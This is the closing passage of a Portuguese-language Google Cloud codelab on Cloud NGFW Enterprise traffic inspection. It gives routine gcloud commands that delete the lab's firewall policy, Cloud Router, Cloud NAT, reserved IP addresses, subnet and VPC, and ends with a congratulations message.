gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Exclua a política de rede e a associação do Cloud Firewall:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Exclua o Cloud Router e o Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Exclua os endereços IP reservados:

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Por fim, exclua a sub-rede e a rede VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. Parabéns!

Parabéns, você concluiu o codelab do Cloud NGFW Enterprise para inspeção leste-oeste e norte-sul.